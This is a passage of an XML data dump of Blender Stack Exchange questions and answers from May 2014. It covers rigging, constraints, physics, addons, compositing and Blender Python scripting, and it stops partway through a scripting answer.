  <row Id="9407" PostTypeId="1" CreationDate="2014-05-15T17:21:12.267" Score="2" ViewCount="540" Body="&lt;p&gt;How can I push an object in a straight line with another object in the game engine? I made both objects dynamic, but when I push the object it moves in a random way. So how can I make it move straight?&lt;/p&gt;&#xA;" OwnerUserId="3502" LastEditorUserId="599" LastEditDate="2014-05-16T18:22:38.067" LastActivityDate="2014-05-16T18:22:38.067" Title="How to push object straight in game engine" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostTypeId="1" CreationDate="2014-05-15T17:32:29.407" Score="2" ViewCount="211" Body="&lt;p&gt;I am working on the rig of a jet-fighter with no bones, using empties to emulate a hinge for the different parts that flap up etc; for this I use two empties: one to act as a hinge, the other as target. I applied a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/Locked_Track&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;locked track&lt;/em&gt;&lt;/a&gt; constraint to the hinge, but when I select the hinge empty and I apply the Locked track constraint I get the following cryptic error in the properties window where the actual constraint was suppose to be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LOCKED_TRACK constraint reserved for Locked Track.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have researched the internet and I could not find any information on the error, just the wiki manual page that confirms that LOCKED TRACK is exactly what I need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The little info I found did not address my problem at all, but ways of using the LOCKED TRACK constraint. Can anybody help?&lt;/p&gt;&#xA;" OwnerUserId="3350" LastEditorUserId="599" LastEditDate="2014-05-15T20:29:54.227" LastActivityDate="2014-05-15T21:10:44.297" Title="What does &quot;LOCKED_TRACK constraint reserved for Locked Track&quot; mean?" Tags="&lt;objects&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="2" ParentId="9407" CreationDate="2014-05-15T17:33:36.090" Score="2" Body="&lt;p&gt;Your collision bounds on both objects are a sphere. Under the Physic tab check the button for &quot;Collision Bounds&quot;. Now assuming you two objects are cubes, the cube collision bounds will work fine.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-05-15T17:33:36.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9412" PostTypeId="2" ParentId="9404" CreationDate="2014-05-15T18:06:54.130" Score="1" Body="&lt;h2&gt;Handwriting Tool in BTrace Addon&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can animate handwriting and drawing in Blender using the Handwriting Tool in the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Btrace&quot; rel=&quot;nofollow&quot;&gt;BTrace addon&lt;/a&gt;. According to the documentation, it &quot;creates an animated curve using the grease pencil.&quot; Although I have not used it yet, it looks like it is designed to animate hand-drawn illustrations, just as shown in the video you mention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a demonstration video there &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Btrace&quot; rel=&quot;nofollow&quot;&gt;on the documentation page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-15T18:06:54.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostTypeId="1" CreationDate="2014-05-15T19:20:09.790" Score="0" ViewCount="3456" Body="&lt;p&gt;I'm new to Blender, and am trying to teach myself how to rig. I have a simple robot model with two arm bones and an IK bone on the hand to control the arm. The IK bone's Deform box is unchecked. I selected the &quot;forearm&quot; bone, then the IK bone, and selected &quot;Inverse Kinematics.&quot; Under bone properties, I have specified that there are two bones in the chain. I think that this should make the entire arm should move (bending between the two bones, with the shoulder remaining fixed) but whenever I hold the IK bone, all I can do is rotate it alone. If I grab the upper arm, I can manipulate the entire arm, with the IK bone staying fixed (unless I pull in the other direction--the arm will come with me.) I must be doing something very simple wrong, but I can't figure out what it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The leg is an even bigger problem. I have two leg bones and a foot bone, with an IK bone coming off the heel. I select the foot bone first, then the IK bone, and select &quot;inverse kinematics,&quot; which makes the two bones rotate a seemingly random amount. &lt;/p&gt;&#xA;" OwnerUserId="3503" LastEditorUserId="2952" LastEditDate="2015-12-17T07:40:36.180" LastActivityDate="2021-04-26T11:06:09.983" Title="Having trouble with IK bones" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;inverse-kinematics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9414" PostTypeId="2" ParentId="9405" CreationDate="2014-05-15T19:30:04.567" Score="2" Body="&lt;p&gt;Yes, if you let a Modal Operator run in the background (its &lt;code&gt;modal()&lt;/code&gt; needs to &lt;code&gt;return {'PASSTHROUGH'}&lt;/code&gt; in order to not consume any events). An event object is passed as third parameter to &lt;code&gt;modal()&lt;/code&gt;, which contains the mouse coordinates in window and region space, as well as information about the event itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can react on mouse movements by checking the &lt;code&gt;event.type&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if event.type == 'MOUSEMOVE':&#xA;    print(event.mouse_region_x, event.mouse_region_y) # remove 'region_' for window coords!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;em&gt;Operator Modal Draw&lt;/em&gt; template in Blender's &lt;em&gt;Text Editor&lt;/em&gt;, it illustrates what you can do with the mouse coordinates together with a draw handler and OpenGL (bgl module).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-15T19:30:04.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="2" ParentId="5166" CreationDate="2014-05-15T20:08:48.823" Score="4" Body="&lt;h2&gt;Icicle Generator&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This addon creates rows of very realistic icicles along all selected edges of an object. You can &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?331186-Add-On-Snowflake-and-Icicle-generator&quot; rel=&quot;nofollow noreferrer&quot;&gt;download and read about it here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of how beautifully they render: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Hujm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable Icicle Generator:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the addon by &lt;a href=&quot;https://dl.dropboxusercontent.com/u/90158352/KEEP%20-%20Blender/Addons/SnowflakeIcicleGenerators.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;clicking here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the User Preferences:&lt;br&gt;&#xA;&lt;em&gt;Info&lt;/em&gt; header → &lt;em&gt;File&lt;/em&gt; → &lt;em&gt;User Preferences&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNRNV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &lt;em&gt;Addons&lt;/em&gt; at the top of the Preferences window, and then click on the &lt;em&gt;Install from File&lt;/em&gt; button at the bottom of the window: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXqFC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the addon file and select it (the file can be a &lt;code&gt;.zip&lt;/code&gt; file -- you don't have to unzip it first)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;em&gt;Install from File&lt;/em&gt; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then enable it by clicking the checkbox on the far right of the addon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want Icicle Generator to be enabled by default in the future, click on the &lt;em&gt;Save User Settings&lt;/em&gt; button:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghkPB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To add icicles to an object, the object must be a mesh. If it is a curve object, simply convert it to a mesh object with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Convert to Mesh&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into &lt;em&gt;Edit&lt;/em&gt; mode, select all edges you'd like to have icicles hanging from, make a copy of those edges and make them a separate object:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;  &amp;rarr; &lt;kbd&gt;ENTER&lt;/kbd&gt; &amp;rarr;  &lt;kbd&gt;P&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Separate Selection&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vnMyl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a new mesh object composed only of the edges where you want icicles to be. &#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; Don't move this icicle edge object -- it's in just the correct place now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You &lt;strong&gt;MUST&lt;/strong&gt; apply the icicle edge object's &lt;em&gt;Location&lt;/em&gt;, &lt;em&gt;Rotation&lt;/em&gt; and &lt;em&gt;Scale&lt;/em&gt; while in Object mode before adding the icicles:&lt;br&gt;&#xA;&lt;em&gt;Object&lt;/em&gt; mode → select object → &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Location&lt;/em&gt; → &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Rotation &amp;amp; Scale&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the newly created edge object, go into Edit mode, select all, and add the icicles:&lt;br&gt;&#xA;Select edge object &amp;rarr; &lt;kbd&gt;TAB&lt;/kbd&gt; &amp;rarr; select All (&lt;kbd&gt;A&lt;/kbd&gt;) &amp;rarr; &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Icicle&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uB339.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To adjust the settings, open the &lt;em&gt;Tools&lt;/em&gt; panel (&lt;kbd&gt;T&lt;/kbd&gt;): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5gGZ7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These settings (above) yield icicles like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t5xjm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want a more random appearance, set the &lt;em&gt;Min D&lt;/em&gt; to 0.2 and &lt;em&gt;Min R&lt;/em&gt; to 0.01 -- this causes some icicles to be so small they appear to not be there, yielding icicles like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EPqpl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You &lt;strong&gt;MUST&lt;/strong&gt; set all the settings the way you want them to be before you do &lt;strong&gt;ANYTHING&lt;/strong&gt; else, otherwise they cannot be changed again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now rename the newly created icicles object to &quot;Icicles&quot; and assign them a Glass material:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZOpX.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to, you can give the icicles a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Influence/Material/Bump_and_Normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;bump texture&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-16T04:15:51.687" LastActivityDate="2014-05-16T04:15:51.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostTypeId="2" ParentId="9408" CreationDate="2014-05-15T20:41:41.643" Score="1" Body="&lt;p&gt;I never used a &lt;em&gt;Locked track constraint&lt;/em&gt; but using shape keys could be an alternative for animations without bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you separate &lt;kbd&gt;P&lt;/kbd&gt; the flaps and parent them to the plane &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; you could add two shape keys and animate them by keyframing the value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qW8x6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-15T20:41:41.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="2" ParentId="9408" CreationDate="2014-05-15T21:10:44.297" Score="1" Body="&lt;p&gt;I think I found the solution; just upgrade to Blender 2.70.5 that resolved the problem straight away.&lt;/p&gt;&#xA;" OwnerUserId="3350" LastActivityDate="2014-05-15T21:10:44.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostTypeId="2" ParentId="8545" CreationDate="2014-05-15T21:47:36.490" Score="15" Body="&lt;p&gt;If you need to work with Cycles, there is the &lt;a href=&quot;https://www.youtube.com/watch?v=XCEN0qQOsIA&quot; rel=&quot;noreferrer&quot;&gt;BlenderGuru tutorial&lt;/a&gt; on building cities.&#xA;It uses a particle system with one particle (from a group of objects) per face of your street plan. &#xA;With a group of 30 to 40 low-poly building models you can build a pretty substantial city.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6VNHH.jpg&quot; alt=&quot;This city was made using the technique described by Andrew Price, BlenderGuru&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I did not need streets so I packed my buildings tight but the tutorial includes a technique to create them. I used three particle systems one for the center with a dozen different models, another for the hi-rises with another set of models and a third system for the outlying lower buildings.&lt;/p&gt;&#xA;" OwnerUserId="3196" LastActivityDate="2014-05-15T21:47:36.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostTypeId="1" AcceptedAnswerId="9434" CreationDate="2014-05-15T21:53:49.180" Score="4" ViewCount="1048" Body="&lt;p&gt;I have a handler &lt;code&gt;scene_update_pre&lt;/code&gt;, and I need to run a script when a certain bone is selected. The script is saved as an internal text data block &lt;code&gt;myscript.py&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't use any derivative of the context override method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;override = {'edit_text': bpy.data.texts['myscript.py']}&#xA;bpy.ops.text.run_script(override)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it's done in a &lt;code&gt;scene_update_pre&lt;/code&gt; handler it will crash Blender, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other methods are there to run an internal text data block? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.texts[&quot;myscript.py&quot;]    #.run_script() #?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3141" LastEditorUserId="2952" LastEditDate="2015-11-25T03:57:39.277" LastActivityDate="2015-11-25T22:05:44.187" Title="Run an Internal script from a handler" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;&lt;data-blocks&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostTypeId="1" AcceptedAnswerId="9426" CreationDate="2014-05-15T21:53:51.617" Score="5" ViewCount="7241" Body="&lt;p&gt;Please help me.... I am trying to export a smoke simulation as a mesh (I mean the smoke 3D volume) for 3D printing it! I cant find how to do that anywhere, does anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! Sorry if it is unclear. It is hard to explain.&#xA;Emiliano&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="836" LastEditDate="2014-05-16T00:50:57.553" LastActivityDate="2017-05-30T22:10:33.197" Title="Export a smoke simulation as a mesh" Tags="&lt;mesh&gt;&lt;export&gt;&lt;smoke-simulation&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9422" PostTypeId="2" ParentId="9420" CreationDate="2014-05-15T22:27:55.850" Score="3" Body="&lt;p&gt;It doesn't sound like a good idea to run an embedded text datablock as script on every scene update, since it occurs like 30 times per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you could avoid an operator call by using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec(bpy.data.texts['myscript.py'].as_string())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is any better however. Especially calls like &lt;code&gt;Scene.update()&lt;/code&gt; can make the interface non-reactive, so better throttle the number of calls. Or use a modal timer operator, with a timer interval of e.g. 0.5 seconds.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-15T22:27:55.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostTypeId="1" CreationDate="2014-05-16T00:49:48.267" Score="1" ViewCount="5039" Body="&lt;p&gt;I'm trying to make a wall disappear. Does freestyle support alpha? I mean there is an alpha for strokes but all it does is making my lines disappear but I still can't see strokes behind the wall&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNxK8.png&quot; alt=&quot;FreeStyleTest2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the blend file: &lt;a href=&quot;http://www.pasteall.org/blend/29200&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29200&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3440" LastEditorUserId="599" LastEditDate="2014-05-16T01:19:20.143" LastActivityDate="2016-06-28T06:51:36.107" Title="Render Freestyle strokes behind objects with alpha transparency?" Tags="&lt;freestyle&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostTypeId="2" ParentId="9421" CreationDate="2014-05-16T00:56:19.753" Score="8" Body="&lt;p&gt;There's not an easy way to convert a smoke simulation into a mesh; not in Blender at least. I would suggest a different tactic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using the smoke simulator, use the fluid simulator. They both use the same basic algorithm. You'll need to toy with the inflow, gravity, and initial force settings. The main difference is that the fluid simulator doesn't deal with turbulence and heat like the smoke simulator does; you'll need to fake it a bit. &lt;em&gt;However&lt;/em&gt; the fluid simulator &lt;strong&gt;does&lt;/strong&gt; generate a sequences of meshes as its output. Any of those meshes (stored as .bobz files on your hard drive) can be converted to a &quot;proper mesh&quot; that you can edit and ultimately export as an STL for printing.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2014-05-16T01:46:04.487" LastActivityDate="2014-05-16T01:46:04.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostTypeId="2" ParentId="9394" CreationDate="2014-05-16T01:17:41.347" Score="11" Body="&lt;p&gt;Sadly, filter, matte, or distort nodes, like the ones in the compositor, are not available for the textures in the material nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a work around it is to use the &quot;Map UV&quot; node in the compositor to &quot;remap&quot; or alter the texture of a rendered object, based on the UVs of an object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this example the cube and the sphere have a voronoi texture as a texture on the their diffuse shader materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Glhre.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To blur the texture on the Cube this is what you'd do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV unwrap your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign a material and give it a pass index number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lsMiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the UV and Material in the render layer passes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JVSSd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit F12 to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor you would remap the UVs of the rendered object with a texture that has a blur filter applied to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the Index MA output and ID Mask of the material as the factor to mix the unblurred elements with the blurred ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6V5s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HDznY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details on the MapUV node:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Distort&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Distort&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MapUV technique works also for masks and keys and other nodes not available for texturing. It can also be used to replace the textures on images that have already been rendered and saved as Open EXR in multilayer mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you're looking for is to affect a texture used as a displacement on a material this solution will not work for you.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-16T16:11:17.943" LastActivityDate="2014-05-16T16:11:17.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9429" PostTypeId="1" CreationDate="2014-05-16T01:30:13.940" Score="1" ViewCount="667" Body="&lt;p&gt;My camera will not let me zoom in anymore after I zoom in on a huge obj. I know it is probably designed that way so we can zoom in anymore after certain amount,but I want to know if I can break that. I really need to zoom in more.&lt;/p&gt;&#xA;" OwnerUserId="3189" LastActivityDate="2014-05-16T02:00:14.223" Title="My camera won't zoom after it reach certain distance of zoom" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-16T19:15:22.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="9430" PostTypeId="2" ParentId="9429" CreationDate="2014-05-16T02:00:14.223" Score="1" Body="&lt;p&gt;Try hitting &quot;5&quot; on you numeric keypad. It will switch to orthographic view mode. If that is not what you want try reading the thread iKlsR mentioned.&lt;/p&gt;&#xA;" OwnerUserId="3440" LastActivityDate="2014-05-16T02:00:14.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9431" PostTypeId="2" ParentId="6077" CreationDate="2014-05-16T02:45:04.523" Score="2" Body="&lt;p&gt;It is nothing about particle system actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, there are some non-mesh type of objects cannot be rendered, such as lamps/bones/cameras/lattices/empties, etc, since they don't have any solid face to render. However, you can still see their effects around the scene as ususal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, other options here would be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For BI:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of lamp, use mesh object with &lt;strong&gt;Emit&lt;/strong&gt; shading enabled;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Group lamp with mesh object, set mesh material type to &lt;strong&gt;Halo&lt;/strong&gt;, emit the whole group as particle unit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Cycles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use mesh object as particle unit, use &lt;strong&gt;Emission&lt;/strong&gt; shader for material setting. (recommended)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-16T03:25:03.110" LastActivityDate="2014-05-16T03:25:03.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9432" PostTypeId="1" AcceptedAnswerId="10454" CreationDate="2014-05-16T04:43:20.267" Score="3" ViewCount="1183" Body="&lt;p&gt;I've new to animating with Blender and I'm having troubles with my rendering.&lt;br&gt;&#xA;(Note: These are two still images of the same frame out of my animation project)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that it is supposed to look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x8qPS.jpg&quot; alt=&quot;Correct Image&quot;&gt;&#xA;But.. When rendered, it comes out like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6eDlW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong and how do I fix it? &lt;br&gt;&#xA;(Note: I know about the Black background in the second image, and how to fix it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - Blend File: &lt;a href=&quot;http://www.pasteall.org/blend/29219&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29219&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="3509" LastEditDate="2014-05-17T00:18:59.830" LastActivityDate="2014-05-17T00:33:18.683" Title="Blurry but HD Render - How do I make it sharper?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9433" PostTypeId="2" ParentId="9398" CreationDate="2014-05-16T06:21:49.413" Score="3" Body="&lt;p&gt;Blender uses ffmpeg to handle video formats, you can check that it was built with ffmpeg enabled by entering &lt;code&gt;getattr(bpy.app.build_options,'codec_ffmpeg')&lt;/code&gt; into blender's Python console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your script --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.scene.camera = None&#xA;for obj in self.scene.objects:&#xA;    self.scene.objects.unlink(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove all objects from the current scene yet you follow it with creating a new scene -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.scene.sequence_editor_create()&#xA;self.ops.scene.new(type='NEW')&#xA;bpy.data.scenes['Scene'].render.resolution_x=1280&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You create a new scene and set the resolution on the scene called 'Scene' - as that is the name of the first scene in blender this won't be the name of the scene you just created. By creating a new scene you will have a scene without objects - sounds better than the previous step of unlinking everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myScene = bpy.data.scenes.new('myscene')&#xA;myScene.render.resolution_x = 1280&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Operators depend on the context to perform tasks, normally this includes the current window, which you aren't going to have if you are running the script headless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using operators -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myScene.sequence_editor_create()&#xA;&#xA;myImageStrip = myScene.sequence_editor.sequences.new_image(name = 'imgStrip', filepath = '/tmp/image001.png', channel = 1, frame_start = 1)&#xA;myImageStrip.frame_final_duration = 